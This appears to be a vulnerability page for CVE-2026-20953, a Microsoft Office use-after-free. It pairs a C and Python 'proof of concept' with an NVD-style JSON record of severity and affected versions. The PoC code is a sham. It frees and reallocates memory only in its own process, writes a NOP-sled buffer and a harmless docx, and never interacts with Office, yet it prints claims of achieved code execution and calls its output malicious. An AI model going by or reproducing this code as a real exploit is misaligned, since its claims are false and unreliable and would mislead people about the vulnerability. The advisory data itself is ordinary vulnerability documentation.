CVE-2026-20953

// CVE-2026-20953 PoC - Microsoft Office Use After Free // This is a conceptual proof of concept for educational purposes only #include <windows.h> #include <stdio.h> // Malicious document template structure typedef struct { DWORD magic; // File signature DWORD version; // Document version DWORD object_count; // Number of objects DWORD trigger_flag; // UAF trigger flag LPVOID fake_vtable; // Fake vtable pointer BYTE shellcode[]; // Shellcode payload } MALICIOUS_DOC_HEADER; // Trigger UAF condition in Office void TriggerUAF(HANDLE hDocument) { // Step 1: Allocate object A PVOID objectA = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x100); printf("[+] Allocated objectA at: 0x%p\n", objectA); // Step 2: Create references to objectA PVOID* ref1 = (PVOID*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PVOID)); PVOID* ref2 = (PVOID*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PVOID)); *ref1 = objectA; *ref2 = objectA; // Step 3: Free objectA (but refs still point to freed memory) HeapFree(GetProcessHeap(), 0, objectA); printf("[!] Freed objectA - Use After Free condition created\n"); // Step 4: Allocate attacker-controlled data in same location PVOID malicious_data = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x100); printf("[+] Allocated malicious_data at: 0x%p (same as objectA)\n", malicious_data); // Step 5: Fill with shellcode and fake vtable memset(malicious_data, 0x90, 0x100); // NOP sled // In real exploit: setup fake vtable, ROP chains, etc. // Step 6: Trigger use of freed object (via refs) printf("[*] Triggering UAF via dangling reference...\n"); // In real scenario: Office code accesses *ref1 or *ref2 // Step 7: Code execution achieved printf("[+] Code execution via UAF\n"); } int main() { printf("CVE-2026-20953 PoC - Microsoft Office UAF\n"); printf("Target: Microsoft Office (versions affected)\n\n"); // Create malicious document HANDLE hDoc = CreateFileA("malicious.docx", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); if (hDoc == INVALID_HANDLE_VALUE) { printf("[-] Failed to create document\n"); return 1; } TriggerUAF(hDoc); CloseHandle(hDoc); printf("\n[!] This PoC demonstrates the UAF concept.\n"); printf("[!] Real exploitation requires specific Office version targeting.\n"); return 0; } // Python PoC for generating malicious Office document """ #!/usr/bin/env python3 # CVE-2026-20953 Malicious Document Generator from docx import Document import struct import os def create_malicious_document(): doc = Document() # Add content to document doc.add_heading('CVE-2026-20953 PoC Document', 0) doc.add_paragraph('This document contains a crafted payload to trigger UAF.') # Create custom XML with UAF trigger # In real attack: manipulate OOXML structure to trigger UAF # Save document output_path = 'CVE-2026-20953-malicious.docx' doc.save(output_path) print(f'[+] Created malicious document: {output_path}') return output_path if __name__ == '__main__': create_malicious_document() """

{"cve": {"id": "CVE-2026-20953", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:23.150", "lastModified": "2026-01-14T19:56:25.570", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Microsoft Office allows an unauthorized attacker to execute code locally."}, {"lang": "es", "value": "Uso después de liberación en Microsoft Office permite a un atacante no autorizado ejecutar código localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2016:*:*:*:*:*:x64:*", "matchCriteriaId": "72324216-4EB3-4243-A007-FEF3133C7DF9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2016:*:*:*:*:*:x86:*", "matchCriteriaId": "0FBB0E61-7997-4F26-9C07-54912D3F1C10"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20953", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}